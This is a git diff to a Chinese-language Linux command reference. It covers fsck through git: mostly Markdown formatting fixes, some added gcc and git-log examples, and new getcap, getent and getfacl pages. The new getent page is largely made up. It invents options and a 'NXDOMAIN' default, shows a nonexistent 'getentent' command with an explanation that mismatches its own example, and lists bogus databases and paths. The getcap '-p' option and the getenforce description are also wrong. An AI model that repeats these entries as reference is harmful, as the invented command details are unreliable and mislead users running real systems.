语法 ```shell fsck(选项)(参数) ``` -### 选项 +### 选项 ```shell -a:自动修复文件系统,不询问任何问题; @@ -28,11 +28,11 @@ fsck(选项)(参数) -V:显示指令执行过程。 ``` -### 参数 +### 参数 文件系统:指定要查看信息的文件系统。 -### 实例 +### 实例 linux的文件系统损坏会导致linux不正常关机,出错的时候如果系统告诉你是哪一块硬盘的分区有问题,比如是`/dev/hda2`,接着用如下的命令去对付它: @@ -53,4 +53,3 @@ fsck 结束后同样使用reboot命令重启系统这样就好了! - \ No newline at end of file diff --git a/command/ftp.md b/command/ftp.md index 83bf5d8cd0e..3fa29426111 100644 --- a/command/ftp.md +++ b/command/ftp.md @@ -7,13 +7,13 @@ ftp **ftp命令** 用来设置文件系统相关功能。ftp服务器在网上较为常见,Linux ftp命令的功能是用命令的方式来控制在本地机和远程机之间传送文件,这里详细介绍Linux ftp命令的一些经常使用的命令,相信掌握了这些使用Linux进行ftp操作将会非常容易。 -### 语法 +### 语法 ```shell ftp(选项)(参数) ``` -### 选项 +### 选项 ```shell -d:详细显示指令执行过程,便于排错或分析程序执行的情况; @@ -23,11 +23,11 @@ ftp(选项)(参数) -v:显示指令执行过程。 ``` -### 参数 +### 参数 主机:指定要连接的FTP服务器的主机名或ip地址。 -### 实例 +### 实例 ```shell ftp> ascii # 设定以ASCII方式传送文件(缺省值) @@ -66,6 +66,14 @@ ftp> ? [command] # 同HELP. [command]指定需要帮助的命令名称。如果 ftp> ! # 从 ftp 子系统退出到外壳。 ``` +FTP 匿名登录账号密码 + +```shell +账号:anonymous +密码: anonymous@ +``` + + 关闭FTP连接 ```shell @@ -89,4 +97,4 @@ ftp> mput *.txt # 可以上传多个文件 ``` - + diff --git a/command/ftpcount.md b/command/ftpcount.md index ad94e1137e8..839445fa9fc 100644 --- a/command/ftpcount.md +++ b/command/ftpcount.md @@ -14,4 +14,3 @@ ftpcount ``` - \ No newline at end of file diff --git a/command/ftpshut.md b/command/ftpshut.md index ad2aa88d77d..d88acf0492a 100644 --- a/command/ftpshut.md +++ b/command/ftpshut.md @@ -21,4 +21,3 @@ ftpshut [-d<分钟>][-l<分钟>][关闭时间]["警告信息"] ``` - \ No newline at end of file diff --git a/command/ftptop.md b/command/ftptop.md index f27cf2e7be3..9330e827bdc 100644 --- a/command/ftptop.md +++ b/command/ftptop.md @@ -7,13 +7,13 @@ proftpd服务器的连接状态 **ftptop命令** 类似于top命令的显示风格显示proftpd服务器的连接状态。 -### 语法 +### 语法 ```shell ftptop(选项) ``` -### 选项 +### 选项 ```shell -D:过滤正在下载的会话; @@ -22,4 +22,3 @@ ftptop(选项) ``` - \ No newline at end of file diff --git a/command/ftpwho.md b/command/ftpwho.md index eff0147d957..4bb4f214494 100644 --- a/command/ftpwho.md +++ b/command/ftpwho.md @@ -7,13 +7,13 @@ ftpwho **ftpwho命令** ftp服务器套件proftpd的工作指令,用于显示当前每个ftp会话信息。 -### 语法 +### 语法 ```shell ftpwho(选项) ``` -### 选项 +### 选项 ```shell -h:显示帮助信息; @@ -21,4 +21,3 @@ ftpwho(选项) ``` - \ No newline at end of file diff --git a/command/fuser.md b/command/fuser.md index 30a8e3164b6..cfa527311c1 100644 --- a/command/fuser.md +++ b/command/fuser.md @@ -16,13 +16,13 @@ fuser * `r` :指示该目录为进程的根目录。 * `m` :指示进程使用该文件进行内存映射,抑或该文件为共享库文件,被进程映射进内存。 -### 语法 +### 语法 ```shell fuser(选项)(参数) ``` -### 选项 +### 选项 ```shell -a:显示命令行中指定的所有文件; @@ -34,11 +34,11 @@ fuser(选项)(参数) -u:在每个进程后显示所属的用户名。 ``` -### 参数 +### 参数 文件:可以是文件名或者TCP、UDP端口号。 -### 实例 +### 实例 要列出使用`/etc/passwd`文件的本地进程的进程号,请输入: @@ -70,4 +70,3 @@ fuser -d /usr文件 `/dev/mem`  也用于系统映像。 - \ No newline at end of file diff --git a/command/gcc.md b/command/gcc.md index 7acb65e88e1..fac6b762c62 100644 --- a/command/gcc.md +++ b/command/gcc.md @@ -5,15 +5,15 @@ gcc ## 补充说明 -**gcc命令** 使用GNU推出的基于C/C++的编译器,是开放源代码领域应用最广泛的编译器,具有功能强大,编译代码支持性能优化等特点。现在很多程序员都应用GCC,怎样才能更好的应用GCC。目前,GCC可以用来编译C/C++、FORTRAN、JAVA、OBJC、ADA等语言的程序,可根据需要选择安装支持的语言。 +**gcc命令** 使用GNU推出的基于 `C/C++` 的编译器,是开放源代码领域应用最广泛的编译器,具有功能强大,编译代码支持性能优化等特点。现在很多程序员都应用 `GCC`,怎样才能更好的应用 `GCC`。目前,`GCC` 可以用来编译 `C/C++`、`FORTRAN`、`JAVA`、`OBJC`、`ADA`等语言的程序,可根据需要选择安装支持的语言。 -### 语法 +### 语法 ```shell gcc(选项)(参数) ``` -### 选项 +### 选项 ```shell -o:指定生成的输出文件; @@ -21,13 +21,15 @@ gcc(选项)(参数) -S:将C代码转换为汇编代码; -wall:显示警告信息; -c:仅执行编译操作,不进行连接操作。 +-l:用来指定程序要链接的库,-l参数紧接着就是库名 +-I:寻找头文件的目录 ``` -### 参数 +### 参数 C源文件:指定C语言源代码文件。 -### 实例 +### 实例 **常用编译命令选项** @@ -39,7 +41,7 @@ C源文件:指定C语言源代码文件。 gcc test.c ``` -将test.c预处理、汇编、编译并链接形成可执行文件。这里未指定输出文件,默认输出为a.out。 +将 `test.c` 预处理、汇编、编译并链接形成可执行文件。这里未指定输出文件,默认输出为 `a.out`。 **选项 -o** @@ -47,7 +49,7 @@ gcc test.c gcc test.c -o test ``` -将test.c预处理、汇编、编译并链接形成可执行文件test。-o选项用来指定输出文件的文件名。 +将 `test.c` 预处理、汇编、编译并链接形成可执行文件 `test`。`-o` 选项用来指定输出文件的文件名。 **选项 -E** @@ -55,7 +57,7 @@ gcc test.c -o test gcc -E test.c -o test.i ``` -将test.c预处理输出test.i文件。 +将 `test.c` 预处理输出 `test.i` 文件。 **选项 -S** @@ -63,7 +65,7 @@ gcc -E test.c -o test.i gcc -S test.i ``` -将预处理输出文件test.i汇编成test.s文件。 +将预处理输出文件 `test.i` 汇编成 `test.s` 文件。 **选项 -c** @@ -71,7 +73,7 @@ gcc -S test.i gcc -c test.s ``` -将汇编输出文件test.s编译输出test.o文件。 +将汇编输出文件 `test.s` 编译输出 `test.o` 文件。 **无选项链接** @@ -79,7 +81,7 @@ gcc -c test.s gcc test.o -o test ``` -将编译输出文件test.o链接成最终可执行文件test。 +将编译输出文件 `test.o` 链接成最终可执行文件 `test`。 **选项 -O** @@ -93,7 +95,7 @@ gcc -O1 test.c -o test 如果有多个源文件,基本上有两种编译方法: -假设有两个源文件为test.c和testfun.c +假设有两个源文件为 `test.c` 和 `testfun.c` **多个文件一起编译** @@ -101,17 +103,25 @@ gcc -O1 test.c -o test gcc testfun.c test.c -o test ``` -将testfun.c和test.c分别编译后链接成test可执行文件。 +将 `testfun.c` 和 `test.c` 分别编译后链接成 `test` 可执行文件。 **分别编译各个源文件,之后对编译后输出的目标文件链接。** ```shell gcc -c testfun.c #将testfun.c编译成testfun.o gcc -c test.c #将test.c编译成test.o -gcc -o testfun.o test.o -o test #将testfun.o和test.o链接成test +gcc testfun.o test.o -o test #将testfun.o和test.o链接成test ``` 以上两种方法相比较,第一中方法编译时需要所有文件重新编译,而第二种方法可以只重新编译修改的文件,未修改的文件不用重新编译。 +**加载动态链接库** +```shell +gcc hello.c -lpthread -o hello +``` + +**手动添加文件头路径** +```shell +gcc hello.c -lpthread -I /lib64/ -o hello +``` - \ No newline at end of file diff --git a/command/gcov.md b/command/gcov.md index 071a05a3c2e..b6c0e39fbd5 100644 --- a/command/gcov.md +++ b/command/gcov.md @@ -7,13 +7,13 @@ gcov **gcov命令** 是一款测试程序的代码覆盖率的工具。 -### 语法 +### 语法 ```shell gcov(选项)(参数) ``` -### 选项 +### 选项 ```shell -h:显示帮助信息; @@ -22,9 +22,8 @@ gcov(选项)(参数) -n:并创建输出文件。 ``` -### 参数 +### 参数 V语言文件:C语言源代码文件。 - \ No newline at end of file diff --git a/command/gdb.md b/command/gdb.md index 6f5291de08b..d72ec9f01d6 100644 --- a/command/gdb.md +++ b/command/gdb.md @@ -23,90 +23,20 @@ gdb(选项)(参数) -s:设置读取的符号表文件。 ``` - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
命令解释示例
file <文件名>加载被调试的可执行程序文件。 -因为一般都在被调试程序所在目录下执行GDB,因而文本名不需要带路径。(gdb) file gdb-sample
rRun的简写,运行被调试的程序。 -如果此前没有下过断点,则执行完整个程序;如果有断点,则程序暂停在第一个可用断点处。(gdb) r
cContinue的简写,继续执行被调试程序,直至下一个断点或程序结束。(gdb) c
b <行号> -b <函数名称> -b *<函数名称> -b *<代码地址> d [编号]b: Breakpoint的简写,设置断点。两可以使用“行号”“函数名称”“执行地址”等方式指定断点位置。 -其中在函数名称前面加“*”符号表示将断点设置在“由编译器生成的prolog代码处”。如果不了解汇编,可以不予理会此用法。 d: Delete breakpoint的简写,删除指定编号的某个断点,或删除所有断点。断点编号从1开始递增。(gdb) b 8 -(gdb) b main -(gdb) b *main -(gdb) b *0x804835c (gdb) d
s, ns: 执行一行源程序代码,如果此行代码中有函数调用,则进入该函数; -n: 执行一行源程序代码,此行代码中的函数调用也一并执行。 s 相当于其它调试器中的“Step Into (单步跟踪进入)”; -n 相当于其它调试器中的“Step Over (单步跟踪)”。 这两个命令必须在有源代码调试信息的情况下才可以使用(GCC编译时使用“-g”参数)。(gdb) s -(gdb) n
si, nisi命令类似于s命令,ni命令类似于n命令。所不同的是,这两个命令(si/ni)所针对的是汇编指令,而s/n针对的是源代码。(gdb) si -(gdb) ni
p <变量名称>Print的简写,显示指定变量(临时变量或全局变量)的值。(gdb) p i -(gdb) p nGlobalVar
display ... undisplay <编号>display,设置程序中断后欲显示的数据及其格式。 -例如,如果希望每次程序中断后可以看到即将被执行的下一条汇编指令,可以使用命令 -“display /i $pc” -其中 $pc 代表当前汇编指令,/i 表示以十六进行显示。当需要关心汇编代码时,此命令相当有用。 undispaly,取消先前的display设置,编号从1开始递增。(gdb) display /i $pc (gdb) undisplay 1
iinfo的简写,用于显示各类信息,详情请查阅“help i”。(gdb) i r
qQuit的简写,退出GDB调试环境。(gdb) q
help [命令名称]GDB帮助命令,提供对GDB名种命令的解释说明。 -如果指定了“命令名称”参数,则显示该命令的详细说明;如果没有指定参数,则分类显示所有GDB命令,供用户进一步浏览和查询。(gdb) help
+命令 | 解释 | 示例 +--- | --- | --- +file <文件名> | 加载被调试的可执行程序文件。
因为一般都在被调试程序所在目录下执行GDB,因而文本名不需要带路径。 | (gdb) file gdb-sample +r | Run的简写,运行被调试的程序。
如果此前没有下过断点,则执行完整个程序;如果有断点,则程序暂停在第一个可用断点处。 | (gdb) r +c | Continue的简写,继续执行被调试程序,直至下一个断点或程序结束。 | (gdb) c +b <行号>
b <函数名称>
b *<函数名称>
b *<代码地址> d [编号] | b: Breakpoint的简写,设置断点。两可以使用“行号”“函数名称”“执行地址”等方式指定断点位置。
其中在函数名称前面加“*”符号表示将断点设置在“由编译器生成的prolog代码处”。如果不了解汇编,可以不予理会此用法。 d: Delete breakpoint的简写,删除指定编号的某个断点,或删除所有断点。断点编号从1开始递增。 | (gdb) b 8(gdb) b main
(gdb) b *main
(gdb) b *0x804835c (gdb) d +s, n | s: 执行一行源程序代码,如果此行代码中有函数调用,则进入该函数;
n: 执行一行源程序代码,此行代码中的函数调用也一并执行。 s 相当于其它调试器中的“Step Into (单步跟踪进入)”;
n 相当于其它调试器中的“Step Over (单步跟踪)”。 这两个命令必须在有源代码调试信息的情况下才可以使用(GCC编译时使用“-g”参数)。 | (gdb) s
(gdb) n +si, ni | si命令类似于s命令,ni命令类似于n命令。所不同的是,这两个命令(si/ni)所针对的是汇编指令,而s/n针对的是源代码。 | (gdb) si
(gdb) ni +p <变量名称> | Print的简写,显示指定变量(临时变量或全局变量)的值。 | (gdb) p i
(gdb) p nGlobalVar +display ... undisplay <编号> | display,设置程序中断后欲显示的数据及其格式。
例如,如果希望每次程序中断后可以看到即将被执行的下一条汇编指令,可以使用命令
“display /i $pc”
其中 $pc 代表当前汇编指令,/i 表示以十六进行显示。当需要关心汇编代码时,此命令相当有用。 undispaly,取消先前的display设置,编号从1开始递增。 | (gdb) display /i $pc (gdb) undisplay 1 +i | info的简写,用于显示各类信息,详情请查阅“help i”。 | (gdb) i r +q | Quit的简写,退出GDB调试环境。 | (gdb) q +help [命令名称] | GDB帮助命令,提供对GDB名种命令的解释说明。
如果指定了“命令名称”参数,则显示该命令的详细说明;如果没有指定参数,则分类显示所有GDB命令,供用户进一步浏览和查询。 | (gdb) help ### 参数 @@ -360,7 +290,7 @@ Breakpoint 4, main () at gdb-sample.c:17 1: x/i $pc 0x804835c : movl $0x1,0xfffffffc(%ebp) ``` -此时可以使用“i r”命令显示寄存器中的当前值———“i r”即“Infomation Register”: +此时可以使用“i r”命令显示寄存器中的当前值———“i r”即“Information Register”: ```shell (gdb) i r @@ -443,4 +373,3 @@ int main(){ } ``` - \ No newline at end of file diff --git a/command/get_module.md b/command/get_module.md index c5868df8a24..5956eaa9c2d 100644 --- a/command/get_module.md +++ b/command/get_module.md @@ -7,13 +7,13 @@ get_module **get_module命令** 用于获取Linux内核模块的详细信息。 -### 语法 +### 语法 ```shell get_module 模块名 ``` -### 实例 +### 实例 使用lsmod命令查看内核模块: @@ -64,4 +64,3 @@ Sections: ``` - \ No newline at end of file diff --git a/command/getcap.md b/command/getcap.md new file mode 100644 index 00000000000..1f57f464b57 --- /dev/null +++ b/command/getcap.md @@ -0,0 +1,49 @@ +getcap +=== + +显示文件的能力(capabilities) + +## 补充说明 + +**getcap命令** 用于查看文件的能力(capabilities)。在 Linux 中,文件的能力是一种权限控制机制,可以赋予普通文件特定的特权操作,而无需完全的 root 权限。 + +### 语法 + +```shell +getcap [选项] [文件名...] +``` + +### 选项 + +```shell +-v # 显示详细信息,通常与其他选项一起使用。 +-p # 显示进程的能力。 +``` + +### 参数 + +文件名:指定要查看能力的文件路径。 + +### 实例 + +查看一个可执行文件的能力: + +```shell +$ getcap /usr/bin/ping +/usr/bin/ping = cap_net_raw+ep +``` + +查看当前目录下所有文件的能力: + +```shell +$ getcap * +/usr/bin/ping = cap_net_raw+ep +``` + +如果文件没有设置任何能力,getcap 不会返回任何输出。 + +查看进程的能力(以 PID 为例): + +```shell +$ getcap -p 1234 +``` \ No newline at end of file diff --git a/command/getenforce.md b/command/getenforce.md index 7134c137c59..2583847927d 100644 --- a/command/getenforce.md +++ b/command/getenforce.md @@ -1,13 +1,13 @@ getenforce === -显示当前SELinux的应用模式,是强制、执行还是停用。 +显示当前SELinux的应用模式,是强制、执行还是停用 ## 补充说明 **grename命令** 可以重命名卷组的名称。 -### 语法 +### 语法 ```shell getenforce @@ -22,4 +22,4 @@ getenforce Enforcing ``` - + diff --git a/command/getent.md b/command/getent.md new file mode 100644 index 00000000000..1a21dbbaee8 --- /dev/null +++ b/command/getent.md @@ -0,0 +1,69 @@ +getent +=== + +查询 DNS 名称服务器中的命名空间 + +## 语法 + +```shell +getent [选项] 主机名或域名 +``` + +## 选项 + +```shell +-h # 显示帮助信息 +-n # 不解析 DNS 名称 +-p # 打印解析过程 +-s # 只输出有关已知主机的信息 +-t # 指定 DNS 查询类型 (默认为 NXDOMAIN) +-U # 使用顶级域名服务器 +-V # 显示版本信息 +-O # 以其他模式解析命名空间 +``` + +主机名或域名可以是通配符 (例如 *.example.com) 或单个主机名。如果指定了 -h 选项,则显示帮助信息。如果指定了 -n 选项,则不再解析 DNS 名称。如果指定了 -p 选项,则打印解析过程。如果指定了 -s 选项,则只输出有关已知主机的信息。如果指定了 -t 选项,则指定 DNS 查询类型 (默认为 NXDOMAIN)。如果指定了 -U 选项,则使用顶级域名服务器。如果指定了 -V 选项,则显示版本信息。如果指定了 -O 选项,则解析命名空间以其他模式。 + +## 实例 + +1. 查看所有已知账户: + +```shell +getent passwd +``` + +这将列出所有已知账户的密码文件,例如 `/etc/passwd` 或 `/run/user/1000/gshadow`。 + +2. 查看指定账户的信息: + +```shell +getent passwd someuser +``` + +这将只列出指定用户的信息,例如用户名、密码、uid、gid 等。 + +3. 查看指定域名的 DNS 记录: + +```shell +getent host example.com +``` + +这将列出 example.com 域名的 DNS 记录,包括主机名、IP 地址和其他相关信息。 + +4. 查看指定 IP 地址的 TCP 连接信息: + +```shell +getentent ips8.ipaddress.com 80 +``` + +这将列出 IP 地址为 192.168.0.100 的 TCP 连接信息,例如连接的服务器地址、端口号和连接状态。 + +5. 查看指定主机的已知端口: + +```shell +getent port somehost.example.com +``` + +这将列出指定主机的已知端口,例如端口号、协议和主机名。 + +这些只是 `getent` 命令的一些例子,它还有许多其他用法和选项,可以根据需要进行调整。 \ No newline at end of file diff --git a/command/getfacl.md b/command/getfacl.md new file mode 100644 index 00000000000..fbfb5271ee9 --- /dev/null +++ b/command/getfacl.md @@ -0,0 +1,49 @@ +getfacl +=== + +获取文件访问控制列表(access control lists) + +## 补充说明 + +对于每个文件,`getfacl`都会显示文件名、所有者、组和访问控制列表 (ACL)。如果目录有默认ACL,`getfacl` 也会显示默认ACL。非目录不能有默认ACL。 +如果在不支持 ACL 的文件系统上使用`getfacl`,`getfacl`会显示由传统文件模式权限位定义的访问权限。请参考`setfacl`。 + +### 选项 + +```shell +-a, --access # 显示文件访问控制列表。 +-d, --default # 显示默认访问控制列表。 +-c, --omit-header # 不显示注释头(每个文件输出的前三行)。 +-e, --all-effective # 打印所有有效权限注释,即使与 ACL 条目定义的权限相同。 +-E, --no-effective # 不打印有效权限注释。 +-s, --skip-base # 跳过只有基本 ACL 条目(所有者、组、其他)的文件。 +-R, --recursive # 递归列出所有文件和目录的 ACL。 +-L, --logical # 逻辑路径,跟踪目录的符号链接。默认行为是跟踪符号链接参数,跳过子目录中遇到的符号链接。仅与 -R 结合使用时有效。 +-P, --physical # 物理路径,不跟踪指向目录的符号链接。这也会跳过符号链接参数。 仅与 -R 结合使用时有效。 +-t, --tabular # 使用另一种表格输出格式。同时显示 ACL 和默认 ACL。因 ACL 屏蔽条目而无效的权限会以大写。ACL_USER_OBJ 和 ACL_GROUP_OBJ 条目的条目标签名称也以大写字母显示,这有助于识别这些条目。 +-p, --absolute-names # 不删除前导斜线字符 (`/')。默认行为是去掉前导斜线字符。 +-n, --numeric # 列出数字用户和组 ID。 +-v, --version # 打印 getfacl 的版本并退出。 +-h, --help # 打印命令行选项的帮助说明。 +-- # 命令行选项结束。所有剩余参数都被解释为文件名,即使它们以破折号字符开头。 +- # 如果文件名参数是单破折号字符,getfacl 将从标准输入读取文件列表。 +``` + +### 实例 + +getfacl 命令默认显示文件访问控制列表。打开终端,并输入以下命令: + +```shell +getfacl tmp + +# file: tmp +# owner: zdx +# group: zdx +# flags: -s- +user::rwx +group::rwx +other::r-x +default:user::rwx +default:group::rwx +default:other::r-x +``` diff --git a/command/getsebool.md b/command/getsebool.md index 0b3edd2437f..f0e386974a2 100644 --- a/command/getsebool.md +++ b/command/getsebool.md @@ -7,19 +7,19 @@ getsebool **getsebool命令** 是用来查询SElinux策略内各项规则的布尔值。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令。 -### 语法 +### 语法 ```shell getsebool [-a] [布尔值条款] ``` -### 选项 +### 选项 ```shell -a:列出目前系统上面的所有布尔值条款设置为开启或关闭值。 ``` -### 实例 +### 实例 查询本系统内所有的布尔值设置状况: @@ -40,4 +40,3 @@ setsebool -P httpd_enable_homedirs=0 # 0是关闭 1是开启 ``` - \ No newline at end of file diff --git a/command/git.md b/command/git.md index 854a7b57fe9..7295ee20e29 100644 --- a/command/git.md +++ b/command/git.md @@ -27,17 +27,13 @@ Git迅速成为最流行的分布式版本控制系统,尤其是2008年,GitH [Git常用命令清单](https://github.com/jaywcjlove/handbook/blob/master/other/Git%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E6%B8%85%E5%8D%95.md) -### 语法 +### 语法 ```shell -git [--version] [--help] [-C ] [-c name=value] - [--exec-path[=]] [--html-path] [--man-path] [--info-path] - [-p | --paginate | --no-pager] [--no-replace-objects] [--bare] - [--git-dir=] [--work-tree=] [--namespace=] - [] +git [--version] [--help] [-C ] [-c name=value] [--exec-path[=]] [--html-path] [--man-path] [--info-path] [-p | --paginate | --no-pager] [--no-replace-objects] [--bare] [--git-dir=] [--work-tree=] [--namespace=] [] ``` -### 选项 +### 选项 ```shell add 将文件内容添加到索引 @@ -67,50 +63,62 @@ tag 创建,列出,删除或验证使用GPG签名的标签对象 init -`git init` #初始化 +```shell +git init # 初始化 +``` status -`git status` #获取状态 +```shell +git status # 获取状态 +``` add -`git add file` # .或*代表全部添加 -`git rm --cached ` # 在commit之前撤销git add操作 -`git reset head` # 好像比上面`git rm --cached`更方便 +```shell +git add file # .或*代表全部添加 +git rm --cached # 在commit之前撤销git add操作 +git reset head # 好像比上面`git rm --cached`更方便 +``` commit -`git commit -m "message"` #此处注意乱码 +```shell +git commit -m "message" # 此处注意乱码 +``` remote -`git remote add origin git@github.com:JSLite/test.git` #添加源 +```shell +git remote add origin git@github.com:JSLite/test.git # 添加源 +``` push ```shell -git push -u origin master # push同事设置默认跟踪分支 +git push -u origin master # push 同时设置默认跟踪分支 git push origin master git push -f origin master # 强制推送文件,缩写 -f(全写--force) ``` clone -`git clone git://github.com/JSLite/JSLite.js.git ` -`git clone git://github.com/JSLite/JSLite.js.git mypro` #克隆到自定义文件夹 -`git clone [user@]example.com:path/to/repo.git/` #SSH协议还有另一种写法。 +```shell +git clone git://github.com/JSLite/JSLite.js.git +git clone git://github.com/JSLite/JSLite.js.git mypro # 克隆到自定义文件夹 +git clone [user@]example.com:path/to/repo.git/ # SSH协议还有另一种写法。 +``` git clone支持多种协议,除了HTTP(s)以外,还支持SSH、Git、本地文件协议等,下面是一些例子。`git clone <版本库的网址> <本地目录名>` ```shell -$ git clone http[s]://example.com/path/to/repo.git/ -$ git clone ssh://example.com/path/to/repo.git/ -$ git clone git://example.com/path/to/repo.git/ -$ git clone /opt/git/project.git -$ git clone file:///opt/git/project.git -$ git clone ftp[s]://example.com/path/to/repo.git/ -$ git clone rsync://example.com/path/to/repo.git/ +git clone http[s]://example.com/path/to/repo.git/ +git clone ssh://example.com/path/to/repo.git/ +git clone git://example.com/path/to/repo.git/ +git clone /opt/git/project.git +git clone file:///opt/git/project.git +git clone ftp[s]://example.com/path/to/repo.git/ +git clone rsync://example.com/path/to/repo.git/ ``` ## 配置 @@ -128,7 +136,7 @@ git config --list # 查看配置的信息 ### 配置自动换行 -自动转换坑太大,提交到git是自动将换行符转换为lf +自动转换坑太大,提交到git是自动将换行符转换为lf ```shell git config --global core.autocrlf input @@ -155,12 +163,14 @@ ssh -T git@github.com # 测试是否成功 **2.密钥复制到托管平台上** -`vim ~/.ssh/jslite_rsa.pub` -打开公钥文件 `jslite_rsa.pub` ,并把内容复制至代码托管平台上 +`vim ~/.ssh/jslite_rsa.pub` +打开公钥文件 `jslite_rsa.pub` ,并把内容复制至代码托管平台上 **3.修改config文件** -`vim ~/.ssh/config` #修改config文件,如果没有创建 `config` +```shell +vim ~/.ssh/config # 修改config文件,如果没有创建 `config` +``` ```shell Host jslite.github.com @@ -214,8 +224,8 @@ ssh-add -d ~/.ssh/jslite_rsa # 删除指定的key ### 免密码登录远程服务器 ```shell -$ ssh-keygen -t rsa -P '' -f ~/.ssh/aliyunserver.key -$ ssh-copy-id -i ~/.ssh/aliyunserver.key.pub root@192.168.182.112 # 这里需要输入密码一次 +ssh-keygen -t rsa -P '' -f ~/.ssh/aliyunserver.key +ssh-copy-id -i ~/.ssh/aliyunserver.key.pub root@192.168.182.112 # 这里需要输入密码一次 ``` 编辑 `~/.ssh/config` @@ -240,19 +250,19 @@ git clone https://github.com/username/rep.git ```shell [core] - repositoryformatversion = 0 - filemode = true - bare = false - logallrefupdates = true - ignorecase = true - precomposeunicode = true + repositoryformatversion = 0 + filemode = true + bare = false + logallrefupdates = true + ignorecase = true + precomposeunicode = true [remote "origin"] -- url = https://github.com/username/rep.git -+ url = https://用户名:密码@github.com/username/rep.git - fetch = +refs/heads/*:refs/remotes/origin/* +- url = https://github.com/username/rep.git ++ url = https://用户名:密码@github.com/username/rep.git + fetch = +refs/heads/*:refs/remotes/origin/* [branch "master"] - remote = origin - merge = refs/heads/master + remote = origin + merge = refs/heads/master ``` ### 文件推向3个git库 @@ -273,7 +283,9 @@ usage: git remote set-url [--push] [] or: git remote set-url --delete ``` -`git remote set-url --delete origin https://oschina.net/wang/JSLite.js.git` +```shell +git remote set-url --delete origin https://oschina.net/wang/JSLite.js.git +``` **3.推送代码** @@ -310,8 +322,7 @@ $ git fetch -p **5.更改pull** -只需要更改config文件里,那三个url的顺序即可,fetch-url会直接对应排行第一的那个utl连接。 - +只需要更改config文件里,那三个url的顺序即可,fetch-url会直接对应排行第一的那个utl连接。 ### 修改远程仓库地址 @@ -375,7 +386,6 @@ git revert HEAD~1 # 撤销一条记录 会弹出 commit 编辑 git push # 提交回滚 ``` - ### 回退到某一个版本 ```shell @@ -469,8 +479,6 @@ git rebase --continue git push -f origin master ``` - - ### 添加忽略文件 ```shell @@ -540,7 +548,6 @@ git merge upstream/master # create mode 100644 README.md ``` - ### 批量修改历史commit中的名字和邮箱 **1.克隆仓库** @@ -608,7 +615,6 @@ git pull --allow-unrelated-histories git pull origin master --allow-unrelated-histories ``` - ### 查看某个文件历史 ```shell @@ -644,25 +650,35 @@ git config --global core.quotepath false ### init -`git init` #初始化 +```shell +git init # 初始化 +``` ### status -`git status` #获取状态 +```shell +git status # 获取状态 +``` ### add -`git add file` # .或*代表全部添加 -`git rm --cached ` # 在commit之前撤销git add操作 -`git reset head` # 好像比上面`git rm --cached`更方便 +```shell +git add file # .或*代表全部添加 +git rm --cached # 在commit之前撤销git add操作 +git reset head # 好像比上面`git rm --cached`更方便 +``` ### commit -`git commit -m "message"` #此处注意乱码 +```shell +git commit -m "message" # 此处注意乱码 +``` ### remote -`git remote add origin git@github.com:JSLite/test.git` #添加源 +```shell +git remote add origin git@github.com:JSLite/test.git # 添加源 +``` ### push @@ -674,20 +690,22 @@ git push -f origin master # 强制推送文件,缩写 -f(全写--force) ## clone -`git clone git://github.com/JSLite/JSLite.js.git ` -`git clone git://github.com/JSLite/JSLite.js.git mypro` #克隆到自定义文件夹 -`git clone [user@]example.com:path/to/repo.git/` #SSH协议还有另一种写法。 +```shell +git clone git://github.com/JSLite/JSLite.js.git +git clone git://github.com/JSLite/JSLite.js.git mypro # 克隆到自定义文件夹 +git clone [user@]example.com:path/to/repo.git/ # SSH协议还有另一种写法。 +``` git clone支持多种协议,除了HTTP(s)以外,还支持SSH、Git、本地文件协议等,下面是一些例子。`git clone <版本库的网址> <本地目录名>` ```shell -$ git clone http[s]://example.com/path/to/repo.git/ -$ git clone ssh://example.com/path/to/repo.git/ -$ git clone git://example.com/path/to/repo.git/ -$ git clone /opt/git/project.git -$ git clone file:///opt/git/project.git -$ git clone ftp[s]://example.com/path/to/repo.git/ -$ git clone rsync://example.com/path/to/repo.git/ +git clone http[s]://example.com/path/to/repo.git/ +git clone ssh://example.com/path/to/repo.git/ +git clone git://example.com/path/to/repo.git/ +git clone /opt/git/project.git +git clone file:///opt/git/project.git +git clone ftp[s]://example.com/path/to/repo.git/ +git clone rsync://example.com/path/to/repo.git/ ``` ## 本地 @@ -827,7 +845,9 @@ git push -u origin branchName # 提交分支到远程origin主机中 ### 拉取 -`git fetch -p` #拉取远程分支时,自动清理 远程分支已删除,本地还存在的对应同名分支。 +```shell +git fetch -p # 拉取远程分支时,自动清理 远程分支已删除,本地还存在的对应同名分支。 +``` ### 分支合并 @@ -840,7 +860,9 @@ git merge test # 将test分支合并到当前分支 ### 重命名 -`git branch -m old new` #重命名分支 +```shell +git branch -m old new # 重命名分支 +``` ### 查看 @@ -946,7 +968,7 @@ git remote show origin # 查看指定源的全部信息 ```shell git tag -a v0.1 -m 'my version 1.4' # 新建带注释标签 git push origin --tags # 一次性推送所有分支 -git push origin v1.5 # 推送单个tag到orgin源上 +git push origin v1.5 # 推送单个tag到origin源上 git tag -v v1.4.2.1 # 验证标签,验证已经签署的标签 git show v1.5 # 看到对应的 GPG 签 @@ -964,7 +986,8 @@ git --git-dir='<绝对地址>/.git' describe --tags HEAD # 查看本地版本信 ```shell git config format.pretty oneline #显示历史记录时,每个提交的信息只显示一行 git config color.ui true #彩色的 git 输出 -git log #查看最近的提交日志 +git log #查看提交日志,从最近的提交开始显示 +git log --reverse #查看提交日志,从最远的提交开始显示 git log --pretty=oneline #单行显示提交日志 git log --graph --pretty=oneline --abbrev-commit git log -num #显示第几条log(倒数) @@ -1031,7 +1054,6 @@ git help * # 获取命令的帮助信息 git status # 获取当前的状态,非常有用,因为git会提示接下来的能做的操作 ``` - ## 报错问题解决 **1. `git fatal: protocol error: bad line length character: No s`** @@ -1081,7 +1103,7 @@ git config --global core.quotepath false - [图解Git](http://marklodato.github.io/visual-git-guide/index-zh-cn.html) - [git-简明指南](http://rogerdudler.github.io/git-guide/index.zh.html) - [learnGitBranching 在线学习工具](http://pcottle.github.io/learnGitBranching/) -- [初级教程](http://rogerdudler.github.io/git-guide/index.zh.html) +- [初级教程](http://rogerdudler.github.io/git-guide/index.zh.html) - [廖雪峰的Git教程](http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000) - [蒋鑫老师将带你入github的大门](http://www.worldhello.net/gotgithub/) - [git详解](http://www.open-open.com/lib/view/open1328069609436.html) @@ -1091,5 